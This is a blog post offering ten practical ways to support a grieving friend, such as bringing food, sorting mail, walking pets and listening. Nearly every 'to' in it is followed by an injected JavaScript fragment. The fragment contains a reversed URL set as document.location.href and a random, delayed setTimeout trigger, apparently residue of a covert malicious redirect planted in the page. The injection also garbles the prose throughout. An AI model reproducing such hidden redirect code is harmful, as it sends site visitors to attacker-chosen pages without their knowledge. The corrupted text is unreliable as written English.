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Here are my 10 practical ways for you tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to help someone who is bereaved.

Everyone always says “If there’s anything I can do, please let me know” and they truly mean it.

The trouble is, after a bereavement, it can take all your effort just tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get through the day. It’s hard tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to think about anything else, let along give well-meaning friends a practical task-list.

My friend Rebecca said that after her husband died, the things she appreciated the most was when friends did something practical, without even being asked. It relieved her of the worry or effort of things that she was struggling tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to think about in her grief.

First – here’s one thing NOT tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do. No flowers please! Many people send flowers after hearing of a death, and one or two bunches can be really beautiful and comforting. But my mother’s house became like a florists shop after Dad died and she was tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totally overwhelmed. She fretted because she didn’t have enough vases, or places tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to display the flowers. She felt a burden of keeping them looking good, and she was left with loads of flowers tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dispose of when they were past her best. It felt like an unnecessary workload and tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}took away any pleasure that the flowers might have brought her.

So what can you do?

Here are 10 ideas which might help:

 

1 – Take food.

Everyone needs tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to eat, but even shopping or choosing a meal can seem like overwhelming tasks when grief is at its deepest. Make it easy by filling their freezer with easy, portioned meals that suit them and their family. Just day tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to day stuff like shepherds pie, pizzas, lasagne will often be most welcomed. Make sure it can go in the freezer, or has a long shelf-life. Grieving people might forget tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to eat, and then suddenly need food at odd times. So make it easy tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prepare and eat quickly.

 

2 – Do washing or cleaning.

If you know your way around your friend’s house, have a quick flit round and do anything that looks essential and can be done quickly. For example, stick a load of dirty clothes in the washing machine. Wash the dishes, or throw away any flowers that are past their best.

 

3 – Sort the mail.

A massive increase in the number of letters arriving can be another blockage. Mail piles up, and important letters can get lost. Sort any unsourced mail intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to three categories:
– condolence cards and letters
– circulars (tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to throw away) and
– other mail that needs action,
Tell your friend what you’ve done, and ask if they’d like you tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to acknowledge or respond tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to any of them.

 

4 – Offer tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to break the news tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to others in your circle.

One of the hardest things Jenny had tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do was tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tell other people that her son had died. Her friend Mike knew many of the people that her son knew, such as his old teachers, football team-mates and regulars at the cafe where he had a Saturday job. Mike offered tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to break the news tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to all these people, so that Jenny only had tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to speak tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to close friends and family.

 

5 – Fill the car with petrol.

If you are insured tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to drive their car, offer tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to run an errand in it, and fill it with fuel while you’re out. Make sure you use the correct fuel!

 

6 – Accompany them tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to appointments.

There are many appointments that take place in the immediate days after a death. Registering the death, talking tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to undertakers, talking tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to lawyers. Many bereaved people find these easier tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to deal with if they are accompanied by someone they trust. Do a bit of research before you go so that you are well-briefed about what will happen, and can prepare appropriate questions, or collect tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together the information that will be needed.

 

7 – Take the kids out.

Children need tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have normality in their lives. Take them out at the weekend, or do the school run for a few mornings. Don’t spoil them, and be prepared tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to listen if they get upset or want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to talk. Give them room tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be silent or withdrawn and take good care of them.

 

8 – Walk the dog, or clean out the rabbit hutch.

Pets still need tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be taken care of even when a household is reeling and in disarray. If you can, commit a schedule of how often you can take over this duty for a while. Whether you just do it once a week, or if you can do twice-daily dog-walking, your services could be really helpful.

 

9 – Take your friend out.

Sometimes, all a grieving person needs tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do is get away from it all, but we can feel guilty about walking away, or treating ourselves tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to something when we are in mourning. Take your grieving friend out for coffee, or a lunch, or something that they will enjoy. Make it low-key – Jenny tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}told me that a friend treated her tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a Michelin-starred meal, and whilst she appreciated the gesture and the generosity behind it, she felt guilty for months that she hadn’t been able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to enjoy herself and burst intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tears halfway through her steak.

 

10 – Just listen.

Bring a bottle of wine and share it, or make a pot of coffee, and then simply sit with your friend and listen. Let them talk tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to you, cry, get angry, laugh or whatever they want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do. Simply listen, and be there, and make sure they know that you love them.

 

About Madeleine Allen:  The author is a specialist in Leadership,  Communication and Personal Development for business professionals.  An NLP Trainer and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) and public courses in NLP (learn more at www.brightlightnlp.com)